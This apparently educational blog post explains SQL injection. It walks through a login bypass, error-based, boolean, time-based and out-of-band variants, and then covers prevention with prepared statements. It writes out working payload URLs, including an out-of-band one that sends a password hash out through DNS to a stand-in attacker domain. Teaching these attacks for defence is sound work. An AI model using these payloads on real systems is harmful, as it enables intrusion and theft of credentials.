What is SQL Injection
In the early days of the internet, building websites was straightforward: no JavaScript, no CSS, and few images. But as the web gained popularity, the need for more advanced technology and dynamic websites grew. This led to the development of CGI and server-side scripting languages like ASP, JSP, and PHP.
Websites changed and started storing user input and site content in databases. It is therefore of no surprise that every popular server-side scripting language added support for SQL databases. However, as with almost every technical advance, hackers discovered new attack vectors, and for as long as relational databases have been used in web applications, so too have SQL Injection attack vectors.
The SQL injection vulnerability is one of the most dangerous issues for data confidentiality and integrity in web applications and has been listed in the OWASP Top 10 list of the most common and widely exploited vulnerabilities since its inception. Read the history of the SQL injection vulnerability for a more detailed explanation of how the SQL Injection vulnerability originated.
You can also refer to the SQL Injection Cheat Sheet for detailed technical information about the many different variants of the SQL Injection vulnerability.
What is an SQL injection vulnerability?
Within this blog post we are trying to shed a light on the technical aspects of SQL injections and what you can do to effectively avoid them.
Non-technical explanation of the SQL injection vulnerability
Imagine a fully-automated bus that functions based on instructions given by humans through a standard web form. That form might look like this:
Drive through <route> and <where should the bus stop?> if <when should the bus stop?>.
Sample Populated Form
Drive through route 66 and stop at bus stops if there are people at the bus stops.
Values in bold are provided by humans and instruct the bus. Imagine a scenario where someone manages to send these instructions:
Drive through route 66 and do not stop at bus stops and ignore the rest of this form. if there are people at the bus stops.
The bus is fully-automated. It does exactly as instruct: it drives up route 66 and does not stop at any bus stop, even when there are people waiting. Such an injection is possible because the query structure and the supplied data are not separated correctly. The automated bus does not differentiate between instructions and data; it simply parses anything it is fed.
SQL injection vulnerabilities are based on the same concept. Attackers are able to inject malicious instructions into benign ones, all of which are then sent to the database server through a web application.
Technical explanation of SQL Injection vulnerability
As the name suggests, an SQL injection vulnerability allows an attacker to inject malicious input into an SQL statement. To fully understand the issue, we first have to understand how server-side scripting languages handle SQL queries.
For example, let’s say functionality in the web application generates a string with the following SQL statement:
$statement = “SELECT * FROM users WHERE username = ‘bob’ AND password = ‘mysecretpw'”;
This SQL statement is passed to a function that sends the string to the connected database where it is parsed, executed and returns a result.
As you might have noticed the statement contains some new, special characters:
- * (asterisk) is an instruction for the SQL database to return all columns for the selected database row
- = (equals) is an instruction for the SQL database to only return values that match the searched string
- ‘ (single quote mark) is used to tell the SQL database where the search string starts or ends
Now consider the following example in which a website user is able to change the values of ‘$user’ and ‘$password’, such as in a login form:
$statement = “SELECT * FROM users WHERE username = ‘$user’ AND password
= ‘$password'”;
An attacker can easily insert any special SQL syntax inside the statement, if the input is not sanitized by the application:
$statement = “SELECT * FROM users WHERE username = ‘admin’; — ‘ AND password
= ‘anything'”;
= ‘anything'”;
What is happening here? The green part (admin’; –) is the attacker’s input, which contains two new, special characters:
- ; (semicolon) is used to instruct the SQL parser that the current statement has ended (not necessary in most cases)
- — (double hyphen) instructs the SQL parser that the rest of the line (shown in light grey above) is a comment and should not be executed
This SQL injection effectively removes the password verification, and returns a dataset for an existing user – ‘admin’ in this case. The attacker can now log in with an administrator account, without having to specify a password.
Different types of SQL injection vulnerability
Error based SQL injection
When exploiting an error-based SQL Injection vulnerability, attackers can retrieve information such as table names and content from visible database errors.
Error-Based SQL Injection Example
https://example.com/index.php?id=1+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
This Request Returned an Error
Duplicate entry ‘database1’ for key ‘group_key’
The same method works for table names and content. Disabling error messages on production systems helps to prevent attackers from gathering such information.
Boolean based SQL injection
Sometimes there is no visible error message on the page when an SQL query fails, making it difficult for an attacker to get information from the vulnerable application. However, there is still a way to extract information.
When an SQL query fails, sometimes some parts of the web page disappear or change, or the entire website can fail to load. These indications allow attackers to determine whether the input parameter is vulnerable and whether it allows extraction of data.
Attackers can test for this by inserting a condition into an SQL query:
https://example.com/index.php?id=1+AND+1=1
If the page loads as usual, it might indicate that it is vulnerable to an SQL Injection. To be sure, an attacker typically tries to provoke a false result using something like this:
https://example.com/index.php?id=1+AND+1=2
Since the condition is false, if no result is returned or the page does not work as usual (missing text or a white page is displayed, for example), it might indicate that the page is vulnerable to an SQL injection.
Here is an example of how to extract data in this way:
https://example.com/index.php?id=1+AND+IF(version()+LIKE+’5%’,true,false)
With this request, the page should load as usual if the database version is 5.X. But it will behave differently (display an empty page, for example) if the version is different, indicating whether it is vulnerable to an SQL injection.
Time based SQL injection
In some cases, even though a vulnerable SQL query does not have any visible effect on the output of the page, it may still be possible to extract information from an underlying database.
Hackers determine this by instructing the database to wait (sleep) a stated amount of time before responding. If the page is not vulnerable, it will load quickly; if it is vulnerable it will take longer than usual to load. This enables hackers to extract data, even though there are no visible changes on the page. The SQL syntax can be similar to the one used in the Boolean-Based SQL Injection Vulnerability.
But to set a measurable sleep time, the ‘true’ function is changed to something that takes some time to execute, such as ‘sleep (3)’ which instructs the database to sleep for three seconds:
https://example.com/index.php?id=1+AND+IF(version()+LIKE+’5%’,sleep(3),false)
If the page takes longer than usual to load it is safe to assume that the database version is 5.X.
Out of band SQL injection vulnerability
Sometimes the only way an attacker can retrieve information from a database is to use out-of-band techniques. Usually, these types of attacks involve sending the data directly from the database server to a machine that is controlled by the attacker. Attackers may use this method if an injection does not occur directly after supplied data is inserted, but at a later point in time.
Out-of-Band Example
https://example.com/index.php?id=1+AND+(SELECT+LOAD_FILE(concat(‘\\\\’,(SELECT @@version),’example.com\\’)))
https://www.example.com/index.php?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec(‘xp_fileexist ”\\’ + @pass + ‘.example.com\c$\boot.ini”’)
In these requests, the target makes a DNS request to the attacker-owned domain, with the query result inside the sub domain. This means that an attacker does not need to see the result of the injection, but can wait until the database server sends a request instead.
Prevention of SQL injection
Using prepared statements as SQL injection prevention
When you think of prepared statements, think of how printf works and how it formats strings. Literally, you assemble your string with placeholders for the data to be inserted, and apply the data in the same sequence as the placeholders. SQL prepared statements operate on a very similar concept, where, instead of directly assembling your query string and executing it, you store a prepared statement, feed it with the data, and it assembles and sanitizes it for you upon execution. Great! Now there should never be another SQL injection again. So why, then, are SQL injection attacks still constantly one of the biggest and most prevalent attack methods?
Insecure SQL queries are a problem
Simply put, it perhaps boils down to web application developer laziness and lack of education and awareness. Insecure SQL queries are so extremely easy to create, and secure SQL queries are still mildly complex (or at least more complex than generic and typical in-line and often insecure queries). In the examples above, a malicious hacker can inject anything he or she desires in the same line as the SQL query itself.
Deeper into the rabbit hole of SQL injection security
Say, however, this isn’t a case of lazy developers or even a lack of prepared statements — or, more precisely, say the software itself and its security is out of your hands. Perhaps it is impractical or infeasible to completely secure the SQL queries in the code you use (by one comparison, Drupal has had over 20,000 lines of code committed, WordPress has had over 60,000 lines, and Joomla! has had over 180,000 lines), or, it may simply be impossible because it is encoded, etc., etc. Whatever the case is if you do not have control over the code you may need to employ different, more advanced “outside the box” protections.
Following are the SQL injection vulnerability and prevention of SQL injection. This all what you might want to know about the SQL injection? The information is fully proven and fair.
